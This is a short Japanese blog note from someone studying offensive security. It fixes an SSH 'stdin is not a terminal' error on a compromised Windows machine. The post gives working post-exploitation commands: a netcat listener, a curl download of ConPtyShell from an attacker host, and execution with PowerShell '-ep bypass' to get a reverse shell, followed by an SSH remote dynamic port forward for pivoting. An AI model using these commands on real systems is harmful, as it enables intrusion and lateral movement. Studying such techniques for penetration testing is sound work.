Windowsでpseudo-terminal will not be allocated because stdin is not a terminalエラーが出た時の対処法

Windowsでpseudo-terminal will not be allocated because stdin is not a terminalエラーが出た時の対処法のメモ。

この数か月offensive securityの勉強をしているのだが、Windowsマシンを掌握した後に攻撃マシンに対してSSH Remote Dynamic Port Forwardingを張ろうとしたところ、先述のエラーに遭遇してしまい、ハマってしまった。

以下、詳細と対策。

impacketMSFvenomで標的のWindowsマシンに接続し、更なる内部ネットワークへの横展開のために以下のコマンドを実行して、SSH Remote Dynamic Port Forwardingを設定しようとした。

ssh -N -R 9998 username@$ATTACKER_HOST

しかし、パスワードを入力するためのプロンプトが起動せず、ポート転送ができなかった。

攻撃マシン側でnetstatを叩いたところ、標的マシンから攻撃マシンの22番ポート (SSH)への接続は確認できたので、ファイヤーウォール等で通信がブロックされているわけでは無さそうだった。

次に攻撃マシンへ普通にSSH接続できるか試してみた。

ssh username@$ATTACKER_HOST

すると、pseudo-terminal will not be allocated because stdin is not a terminalというエラーメッセージが表示され、パスワードを入力するためのプロンプトが起動しなかった。

"windows shell tty"でググってみたところ、ConPtyShellを使って完全な対話シェルを張る方法を見つけた。結論から言うと、ConPtyShellで標的マシンから攻撃マシンへシェルを張ることで解決できた。

まず、攻撃マシンで以下のコマンドを実行して、接続を待ち受け。

stty raw -echo; (stty size; cat) | nc -lvnp $PORT

続いて標的マシンにConPtyShellを仕込んで、攻撃マシンに接続する。

curl http://$ATTACKER_HOST/Invoke-ConPtyShell.ps1 -o Invoke-ConPtyShell.ps1
powershell -ep bypass
import-module .\Invoke-ConPtyShell.ps1
Invoke-ConPtyShell $ATTACKER_HOST $PORT

すると、攻撃マシン側でシェルが起動する。

最後に以下のSSHコマンドを実行したところ、無事パスワードを入力するためのプロンプトが現れて、ポート転送できた。

C:\fullpath\to\ssh.exe -N -R 9998 username@$ATTACKER_HOST

※フルパスを指定しないと、SSHコマンドを実行できなかった。(環境によるのかも?)

Leave a Reply

Your email address will not be published. Required fields are marked *


The reCAPTCHA verification period has expired. Please reload the page.